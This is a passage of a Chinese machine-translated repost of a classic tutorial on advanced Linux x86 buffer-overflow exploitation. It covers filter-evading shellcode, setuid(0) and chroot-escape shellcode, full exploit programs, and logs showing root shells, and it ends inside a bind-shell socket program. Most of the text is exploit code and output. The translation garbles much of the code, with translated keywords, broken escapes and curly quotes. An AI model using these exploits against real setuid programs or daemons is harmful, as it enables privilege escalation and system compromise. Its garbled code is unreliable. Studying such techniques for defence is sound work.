缓冲区溢出漏洞
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了缓冲区溢出漏洞相关的知识,希望对你有一定的参考价值。
1.介绍 现在有很多缓冲区溢出漏洞代码。早期缓冲区 溢出漏洞代码只产生一个shell(execute / bin / sh)。然而, 现在一些缓冲区溢出漏洞代码有非常好的功能。 例如,通过过滤,打开套接字,断开chroot, 等等。本文将尝试解释高级缓冲区溢出 利用intel x86 linux下的技能。 2.你在阅读之前需要知道什么? 你必须知道汇编语言,C语言和Linux。当然,你 必须知道什么缓冲区溢出。你可以得到的信息 缓冲区溢出在语句49-14(粉碎堆栈的乐趣和利润 由Aleph1)。这是一个美妙的缓冲区溢出的纸,我强烈推荐 你读这个之前读这个。 3.通过过滤 有很多程序有缓冲区溢出问题。为什么不是 所有缓冲区溢出问题被利用?因为即使一个程序有一个缓冲区 溢出的条件,可能很难利用。在很多情况下,原因是 程序过滤一些字符或将字符转换为其他字符 字符。如果程序过滤所有不可打印的字符,它也是 难以开发。如果程序过滤了一些字符,你可以通过 通过过滤器通过制作好的缓冲区溢出漏洞代码。:) 3.1示例脆弱程序 脆弱的 -------------------------------------------------- -------------------------- #include <string.h> #include <ctype.h> int main(int argc,int ** argv) { char缓冲区[1024]; int i; if(argc> 1) { for(i = 0; i <strlen(argv [1]); i ++) argv [1] [i] = toupper(argv [1] [i]); strcpy(buffer,argv [1]); }} }} -------------------------------------------------- -------------------------- 这个脆弱的程序将小写字母转换为大写字母 用户输入。因此,你必须做一个不包含任何shellcode 小字母。你怎么能这样做?你必须引用字符串 “/ bin / sh”,它必须包含小写字母。但是,你可以利用这个。:) 3.2修改正常shellcode 几乎所有的缓冲区溢出漏洞代码使用这个shellcode。现在你有 删除shellcode中的所有小写字母。当然,新的shellcode 必须执行shell。 正常shellcode -------------------------------------------------- -------------------------- char Shellcode [] = “\ xeb \ x1f”/ * jmp 0x1f * / “\ x5e”/ * popl%esi * / “\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ x89 \ xd8”/ * movl%ebx,%eax * / “\ x40”/ * inc%eax * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * / “/ bin / sh”; / * .string \“/ bin / sh \”* / -------------------------------------------------- -------------------------- 这个shellcode有6个小写字母。(5个小写字母在“/ bin / sh”和 “movl%esi,0x8(%esi)”中有1个小写字母) 你不能直接使用“/ bin / sh”字符串来传递 过滤。但是,您可以插入除小字符以外的任何字符。 因此,您可以插入“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”而不是 “\ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68”(“/ bin / sh”)。溢出缓冲区后 ,您必须将“\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”更改为 “\ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68”执行“/ bin / sh”。你可以很容易地改变 通过将\ x50添加到\ x62,\ x69,\ x6e,\ x73和\ x68当您的shellcode 被执行。那么如何在“movl%esi,0x8(%esi)”中隐藏\ x76?您 可以将“movl%esi,0x8(%esi)”更改为执行相同操作的其他指令 指令,不包含任何小写字母。例如, “movl%esi,0x8(%esi)”可以改变为“movl%esi,%eax”,“addl $ 0x8,%eax” “movl%eax,0x8(%esi)”。更改的指令有任何小写字母。 (我认为其他好的指示,做同样的事情,这只是一个例子。) 现在新的shellcode。 新shellcode -------------------------------------------------- -------------------------- char Shellcode [] = “\ xeb \ x38”/ * jmp 0x38 * / “\ x5e”/ * popl%esi * / “\ x80 \ x46 \ x01 \ x50”/ * addb $ 0x50,0x1(%esi)* / “\ x80 \ x46 \ x02 \ x50”/ * addb $ 0x50,0x2(%esi)* / “\ x80 \ x46 \ x03 \ x50”/ * addb $ 0x50,0x3(%esi)* / “\ x80 \ x46 \ x05 \ x50”/ * addb $ 0x50,0x5(%esi)* / “\ x80 \ x46 \ x06 \ x50”/ * addb $ 0x50,0x6(%esi)* / “\ x89 \ xf0”/ * movl%esi,%eax * / “\ x83 \ xc0 \ x08”/ * addl $ 0x8,%eax * / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ x89 \ xd8”/ * movl%ebx,%eax * / “\ x40”/ * inc%eax * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ xc3 \ xff \ xff \ xff”/ * call -0x3d * / “\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”; / * .string“/ bin / sh”* / / * / bin / sh伪装* / -------------------------------------------------- -------------------------- 3.3利用弱势群体1计划 有了这个shellcode,你可以轻松地做一个exploit代码。 exploit1.c -------------------------------------------------- -------------------------- #include <stdio.h> #include <stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char Shellcode [] = “\ xeb \ x38”/ * jmp 0x38 * / “\ x5e”/ * popl%esi * / “\ x80 \ x46 \ x01 \ x50”/ * addb $ 0x50,0x1(%esi)* / “\ x80 \ x46 \ x02 \ x50”/ * addb $ 0x50,0x2(%esi)* / “\ x80 \ x46 \ x03 \ x50”/ * addb $ 0x50,0x3(%esi)* / “\ x80 \ x46 \ x05 \ x50”/ * addb $ 0x50,0x5(%esi)* / “\ x80 \ x46 \ x06 \ x50”/ * addb $ 0x50,0x6(%esi)* / “\ x89 \ xf0”/ * movl%esi,%eax * / “\ x83 \ xc0 \ x08”/ * addl $ 0x8,%eax * / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ x89 \ xd8”/ * movl%ebx,%eax * / “\ x40”/ * inc%eax * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ xc3 \ xff \ xff \ xff”/ * call -0x3d * / “\ x2f \ x12 \ x19 \ x1e \ x2f \ x23 \ x18”; / * .string“/ bin / sh”* / / * / bin / sh伪装* / unsigned long get_sp(void) { __asm __(“movl%esp,%eax”); }} main(int argc,char ** argv) { char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr; 长加 无符号长整型 int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1; int i; if(argc> 1) offset = atoi(argv [1]); sp = get_sp(); addr = sp-offset; for(i = 0; i <bsize; i + = 4) { buff [i + ALIGN] =(addr&0x000000ff); buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8; buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16; buff [i + ALIGN + 3] =(addr&0xff000000)>> 24; }} for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++) buff [i] = NOP; ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1; for(i = 0; i <strlen(shellcode); i ++) *(ptr ++)= shellcode [i]; buff [bsize-1] =‘\ 0‘; printf(“Jump to 0x%08x \ n”,addr); execl(“./ vulnerable1”,“vulnerable1”,buff,0); }} -------------------------------------------------- -------------------------- 利用漏洞1程序 -------------------------------------------------- -------------------------- [ohhara @ ohhara?] {1} $ ls -l vulnerable1 -rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1 * [ohhara @ ohhara?] {2} $ ls -l exploit1 -rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1 * [ohhara @ ohhara?] {3} $ ./exploit1 跳转到0xbfffec64 分段故障 [ohhara @ ohhara?] {4} $ ./exploit1 500 跳转到0xbfffea70 bash#whoami 根 bash# -------------------------------------------------- -------------------------- 3.4你可以用这种技术做什么? 你可以通过这种技术通过各种形式的过滤器。当。。。的时候 脆弱的程序过滤!@#$%^&*(),可以让新的shellcode了 不包含!@#$%^&*()。但是,你会有困难 shellcode,如果程序过滤了很多字符。 4将uid更改为0 setuid根程序知道具有root权限的工作是非常 危险的呼叫seteuid(getuid())在开始。并且它调用seteuid(0) 需要。许多程序员认为它在调用seteuid(getuid())后是安全的。 然而,这不是真的。uid可以恢复为0。 4.1示例脆弱程序 脆弱 -------------------------------------------------- -------------------------- #include <string.h> #include <unistd.h> int main(int argc,char ** argv) { char缓冲区[1024]; seteuid(getuid()); if(argc> 1) strcpy(buffer,argv [1]); }} -------------------------------------------------- -------------------------- 这个脆弱的程序在启动时调用seteuid(getuid())。因此,你 可能认为“strcpy(buffer,argv [1]);” 是好的。因为你只能得到 你自己的shell虽然你成功在缓冲区溢出攻击。然而, 如果你插入一个代码在shellcode中调用setuid(0),你可以得到 根壳。:) 4.2设置setuid(0)代码 setuidasm.c -------------------------------------------------- -------------------------- 主要() { setuid(0); }} -------------------------------------------------- -------------------------- 编译和反汇编 -------------------------------------------------- -------------------------- [ohhara @ ohhara?] {1} $ gcc -o setuidasm -static setuidasm.c [ohhara @ ohhara?] {2} $ gdb setuidasm GNU gdb 4.17 版权所有1998自由软件基金会 GDB是免费软件,由GNU通用公共许可证覆盖,你是 欢迎在特定条件下更改和/或分发它的副本。 键入“显示复制”以查看条件。 GDB绝对没有保修。有关详细信息,请键入“显示保修”。 这个GDB被配置为“i386-redhat-linux”... (gdb)反汇编setuid 函数__setuid的汇编代码转储: 0x804ca00 <__ setuid>:movl%ebx,%edx 0x804ca02 <__ setuid + 2>:movl 0x4(%esp,1),%ebx 0x804ca06 <__ setuid + 6>:movl $ 0x17,%eax 0x804ca0b <__ setuid + 11>:int $ 0x80 0x804ca0d <__ setuid + 13>:movl%edx,%ebx 0x804ca0f <__ setuid + 15>:cmpl $ 0xfffff001,%eax 0x804ca14 <__ setuid + 20>:jae 0x804cc10 <__ syscall_error> 0x804ca1a <__ setuid + 26>:ret 0x804ca1b <__ setuid + 27>:nop 0x804ca1c <__ setuid + 28>:nop 0x804ca1d <__ setuid + 29>:nop 0x804ca1e <__ setuid + 30>:nop 0x804ca1f <__ setuid + 31>:nop 汇编器转储结束。 (gdb) -------------------------------------------------- -------------------------- setuid(0); 码 -------------------------------------------------- -------------------------- char code [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ xb0 \ x17”/ * movb $ 0x17,%al * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- 4.3修改正常shellcode 如果你做setuid(0)代码,创建新的shellcode很容易。只需插入 代码进入正常shellcode的开始。 新shellcode -------------------------------------------------- -------------------------- char Shellcode [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ xb0 \ x17”/ * movb $ 0x17,%al * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xeb \ x1f”/ * jmp 0x1f * / “\ x5e”/ * popl%esi * / “\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ x89 \ xd8”/ * movl%ebx,%eax * / “\ x40”/ * inc%eax * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * / “/ bin / sh”; / * .string \“/ bin / sh \”* / -------------------------------------------------- -------------------------- 4.4利用易受攻击的程序 有了这个shellcode,你可以轻松地做一个exploit代码。 exploit2.c -------------------------------------------------- -------------------------- #include <stdio.h> #include <stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char Shellcode [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ xb0 \ x17”/ * movb $ 0x17,%al * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xeb \ x1f”/ * jmp 0x1f * / “\ x5e”/ * popl%esi * / “\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x88 \ x46 \ x07”/ * movb%eax,0x7(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ x89 \ xd8”/ * movl%ebx,%eax * / “\ x40”/ * inc%eax * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ xdc \ xff \ xff \ xff”/ * call -0x24 * / “/ bin / sh”; / * .string \“/ bin / sh \”* / unsigned long get_sp(void) { __asm __(“movl%esp,%eax”); }} void main(int argc,char ** argv) { char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr; 长加 无符号长整型 int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1; int i; if(argc> 1) offset = atoi(argv [1]); sp = get_sp(); addr = sp-offset; for(i = 0; i <bsize; i + = 4) { buff [i + ALIGN] =(addr&0x000000ff); buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8; buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16; buff [i + ALIGN + 3] =(addr&0xff000000)>> 24; }} for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++) buff [i] = NOP; ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1; for(i = 0; i <strlen(shellcode); i ++) *(ptr ++)= shellcode [i]; buff [bsize-1] =‘\ 0‘; printf(“Jump to 0x%08x \ n”,addr); execl(“./ vulnerable2”,“vulnerable2”,buff,0); }} -------------------------------------------------- -------------------------- 利用vulnerability2程序 -------------------------------------------------- -------------------------- [ohhara @ ohhara?] {1} $ ls -l vulnerable2 -rwsr-xr-x 1 root root 4258 Oct 18 14:16 vulnerable2 * [ohhara @ ohhara?] {2} $ ls -l exploit2 -rwxr-xr-x 1 ohhara cse 6932 Oct 18 14:26 exploit2 * [ohhara @ ohhara?] {3} $ ./exploit2 跳转到0xbfffec64 非法指令 [ohhara @ ohhara?] {4} $ ./exploit2 500 跳转到0xbfffea70 bash#whoami 根 bash# -------------------------------------------------- -------------------------- 4.5你可以用这种技术做什么? 你用缓冲区溢出攻击setuid根程序,但你只能得到你 自己的壳。你可以在这种情况下使用这种技术。 5断开chroot 如果setuid根程序chroot,你只能访问chrooted 目录。您无法访问根目录。但是,您可以访问所有 目录,如果你的shellcode改变根目录到“/”。:) 5.1示例脆弱程序 脆弱 -------------------------------------------------- -------------------------- #include <string.h> #include <unistd.h> int main(int argc,char ** argv) { char缓冲区[1024]; “chroot(”/ home / ftp“); chdir(“/”); if(argc> 1) strcpy(buffer,argv [1]); }} -------------------------------------------------- -------------------------- 如果尝试用缓冲区溢出执行“/ bin / sh”,它可能会执行 “/ home / ftp / bin / sh”(如果存在),并且您无法访问其他目录 除了“/ home / ftp”。 5.2 make chroot代码 如果你可以执行下面的代码,你可以打破chroot。 breakchrootasm.c -------------------------------------------------- -------------------------- 主要() { mkdir(“sh”,0755); chroot(“sh”); / * many“../”* / chroot(“../../../../../../../../../../../../../../../ ... /“); }} -------------------------------------------------- -------------------------- 这个断开chroot代码使“sh”目录,因为它很容易引用。 (它也用于执行“/ bin / sh”) 编译和反汇编 -------------------------------------------------- -------------------------- [ohhara @ ohhara?] {1} $ gcc -o breakchrootasm -static breakchrootasm.c [ohhara @ ohhara?] {2} $ gdb breakchrootasm GNU gdb 4.17 版权所有1998自由软件基金会 GDB是免费软件,由GNU通用公共许可证覆盖,你是 欢迎在特定条件下更改和/或分发它的副本。 键入“显示复制”以查看条件。 GDB绝对没有保修。有关详细信息,请键入“显示保修”。 这个GDB被配置为“i386-redhat-linux”... (gdb)反汇编mkdir 函数__mkdir的汇编代码转储: 0x804cac0 <__ mkdir>:movl%ebx,%edx 0x804cac2 <__ mkdir + 2>:movl 0x8(%esp,1),%ecx 0x804cac6 <__ mkdir + 6>:movl 0x4(%esp,1),%ebx 0x804caca <__ mkdir + 10>:movl $ 0x27,%eax 0x804cacf <__ mkdir + 15>:int $ 0x80 0x804cad1 <__ mkdir + 17>:movl%edx,%ebx 0x804cad3 <__ mkdir + 19>:cmpl $ 0xfffff001,%eax 0x804cad8 <__ mkdir + 24>:jae 0x804cc40 <__ syscall_error> 0x804cade <__ mkdir + 30>:ret 0x804cadf <__ mkdir + 31>:nop 汇编器转储结束。 (gdb)反汇编chroot 函数chroot的汇编代码转储: 0x804cb60 <chroot>:movl%ebx,%edx 0x804cb62 <chroot + 2>:movl 0x4(%esp,1),%ebx 0x804cb66 <chroot + 6>:movl $ 0x3d,%eax 0x804cb6b <chroot + 11>:int $ 0x80 0x804cb6d <chroot + 13>:movl%edx,%ebx 0x804cb6f <chroot + 15>:cmpl $ 0xfffff001,%eax 0x804cb74 <chroot + 20>:jae 0x804cc40 <__ syscall_error> 0x804cb7a <chroot + 26>:ret 0x804cb7b <chroot + 27>:nop 0x804cb7c <chroot + 28>:nop 0x804cb7d <chroot + 29>:nop 0x804cb7e <chroot + 30>:nop 0x804cb7f <chroot + 31>:nop 汇编器转储结束。 (gdb) -------------------------------------------------- -------------------------- mkdir(“sh”,0755); 码 -------------------------------------------------- -------------------------- / * mkdir第一个参数是%ebx,第二个参数是* / / *%ecx。* / char code [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ xb0 \ x17”/ * movb $ 0x27,%al * / “\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * / / *%esi在使用此* /之前必须引用“/ bin / sh” / *指令。该指令加载地址为“sh”* / / *并存储在%ebx * / “\ xfe \ xc5”/ * incb%ch * / / *%cx = 0000 0001 0000 0000 * / “\ xb0 \ x3d”/ * movb $ 0xed,%cl * / / *%cx = 0000 0001 1110 1101 * / / *%cx = 000 111 101 101 * / / *%cx = 0 7 5 5 * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- chroot(“sh”); 码 -------------------------------------------------- -------------------------- / * chroot的第一个参数是ebx * / char code [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * / “\ xb0 \ x3d”/ * movb $ 0x3d,%al * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- chroot(“../../../../../../../../../../../../../../../ ... /“); 码 -------------------------------------------------- -------------------------- char code [] = “\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * / / *伪装“../”字符串* / “\ xf7 \ xdb”/ * negl%ebx * / / *%ebx = $ 0x002f2e2e * / / * intel x86是小字节序。* / / *%ebx =“../”* / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ xb1 \ x10”/ * movb $ 0x10,%cl * / / *准备循环16次。* / “\ x56”/ * pushl%esi * / / *备用电流%esi。%esi的指针为* / / *“/ bin / sh”。* / “\ x01 \ xce”/ * addl%ecx,%esi * / “\ x89 \ x1e”/ * movl%ebx,(%esi)* / “\ x83 \ xc6 \ x03”/ * addl $ 0x3,%esi * / “\ xe0 \ xf9”/ * loopne -0x7 * / / * make“../../../../。。。”字符串在* / / * 0x10(%esi)。* / “\ x5e”/ * popl%esi * / / * restore%esi。* / “\ xb0 \ x3d”/ * movb $ 0x3d,%al * / “\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * / / *%ebx的地址为“../../../../ ...”。* / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- 5.3修改正常的shellcode 如果你打破chroot代码,新的shellcode很容易。只需插入 代码进入正常shellcode的开始并修改jmp并调用 论据。 新shellcode -------------------------------------------------- -------------------------- char Shellcode [] = “\ xeb \ x4f”/ * jmp 0x4f * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ x5e”/ * popl%esi * / “\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* / “\ xb0 \ x27”/ * movb $ 0x27,%al * / “\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * / “\ xfe \ xc5”/ * incb%ch * / “\ xb1 \ xed”/ * movb $ 0xed,%cl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * / “\ xb0 \ x3d”/ * movb $ 0x3d,%al * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * / “\ xf7 \ xdb”/ * negl%ebx * / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ xb1 \ x10”/ * movb $ 0x10,%cl * / “\ x56”/ * pushl%esi * / “\ x01 \ xce”/ * addl%ecx,%esi * / “\ x89 \ x1e”/ * movl%ebx,(%esi)* / “\ x83 \ xc6 \ x03”/ * addl%0x3,%esi * / “\ xe0 \ xf9”/ * loopne -0x7 * / “\ x5e”/ * popl%esi * / “\ xb0 \ x3d”/ * movb $ 0x3d,%al * / “\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ xac \ xff \ xff \ xff”/ * call -0x54 * / “/ bin / sh”; / * .string \“/ bin / sh \”* / -------------------------------------------------- -------------------------- 5.4利用弱势群体3计划 有了这个shellcode,你可以轻松地做一个exploit代码。 exploit3.c -------------------------------------------------- -------------------------- #include <stdio.h> #include <stdlib.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char Shellcode [] = “\ xeb \ x4f”/ * jmp 0x4f * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ x5e”/ * popl%esi * / “\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* / “\ xb0 \ x27”/ * movb $ 0x27,%al * / “\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * / “\ xfe \ xc5”/ * incb%ch * / “\ xb1 \ xed”/ * movb $ 0xed,%cl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x8d \ x5e \ x05”/ * leal 0x5(%esi),%ebx * / “\ xb0 \ x3d”/ * movb $ 0x3d,%al * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ xbb \ xd2 \ xd1 \ xd0 \ xff”/ * movl $ 0xffd0d1d2,%ebx * / “\ xf7 \ xdb”/ * negl%ebx * / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ xb1 \ x10”/ * movb $ 0x10,%cl * / “\ x56”/ * pushl%esi * / “\ x01 \ xce”/ * addl%ecx,%esi * / “\ x89 \ x1e”/ * movl%ebx,(%esi)* / “\ x83 \ xc6 \ x03”/ * addl%0x3,%esi * / “\ xe0 \ xf9”/ * loopne -0x7 * / “\ x5e”/ * popl%esi * / “\ xb0 \ x3d”/ * movb $ 0x3d,%al * / “\ x8d \ x5e \ x10”/ * leal 0x10(%esi),%ebx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ xac \ xff \ xff \ xff”/ * call -0x54 * / “/ bin / sh”; / * .string \“/ bin / sh \”* / unsigned long get_sp(void) { __asm __(“movl%esp,%eax”); }} void main(int argc,char ** argv) { char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr; 长加 无符号长整型 int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1; int i; if(argc> 1) offset = atoi(argv [1]); sp = get_sp(); addr = sp-offset; for(i = 0; i <bsize; i + = 4) { buff [i + ALIGN] =(addr&0x000000ff); buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8; buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16; buff [i + ALIGN + 3] =(addr&0xff000000)>> 24; }} for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++) buff [i] = NOP; ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1; for(i = 0; i <strlen(shellcode); i ++) *(ptr ++)= shellcode [i]; buff [bsize-1] =‘\ 0‘; printf(“Jump to 0x%08x \ n”,addr); execl(“./ vulnerable3”,“vulnerable3”,buff,0); }} -------------------------------------------------- -------------------------- 利用漏洞3程序 -------------------------------------------------- -------------------------- [ohhara @ ohhara?] {1} $ ls -l vulnerable3 -rwsr-xr-x 1 root root 4348 Oct 18 15:06 vulnerable3 * [ohhara @ ohhara?] {2} $ ls -l exploit3 -rwxr-xr-x 1 ohhara cse 5059 Oct 18 17:13 exploit3 * [ohhara @ ohhara?] {3} $ ./exploit3 跳转到0xbfffec68 分段故障 [ohhara @ ohhara?] {4} $ ./exploit3 500 跳转到0xbfffea74 分段故障 [ohhara @ ohhara?] {5} $ ./exploit3 -500 跳转到0xbfffee5c bash#whoami 根 bash#pwd / home / ftp bash#cd / bash#pwd / bash#ls afs boot etc home lost + found mnt root tmp var bin dev export lib misc proc sbin usr bash# -------------------------------------------------- -------------------------- 5.5你可以用这种技术做什么? 你不能通过攻击chroot的setuid程序来访问根目录 缓冲区溢出。但是,您可以使用此技术访问所有目录。 6打开插座 如果尝试在守护程序中溢出缓冲区,您可以看到守护进程崩溃。 在许多情况下,您必须执行一个shell,打开一个套接字,并连接到 您的标准I / O。如果你不,你不能得到一个shell。即使你得到了 shell,服务器立即崩溃,所以你不能命令任何东西。在这里 case,你必须使复杂的shellcode连接到你的标准I / O。 6.1示例脆弱程序 -------------------------------------------------- -------------------------- #include <string.h> int main(int argc,char ** argv) { char缓冲区[1024]; if(argc> 1) strcpy(buffer,argv [1]); }} -------------------------------------------------- -------------------------- 这是标准脆弱的程序。我会用这个插座打开 缓冲区溢出。因为我太懒了,做一个例子daemon程序。:) 但是,看到代码后,你不会失望。 6.2打开套接字代码 如果你可以执行下面的代码,你可以打开一个套接字。 打开socketasm1.c -------------------------------------------------- -------------------------- #include <unistd.h> #include <sys / socket.h> #include <netinet / in.h> int soc,cli,soc_len; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; int main() { if(fork()== 0) { serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(30464); soc = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr)); listen(soc,1); soc_len = sizeof(cli_addr); cli = accept(soc,(struct sockaddr *)&cli_addr,&soc_len); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl(“/ bin / sh”,“sh”,0); }} }} -------------------------------------------------- -------------------------- 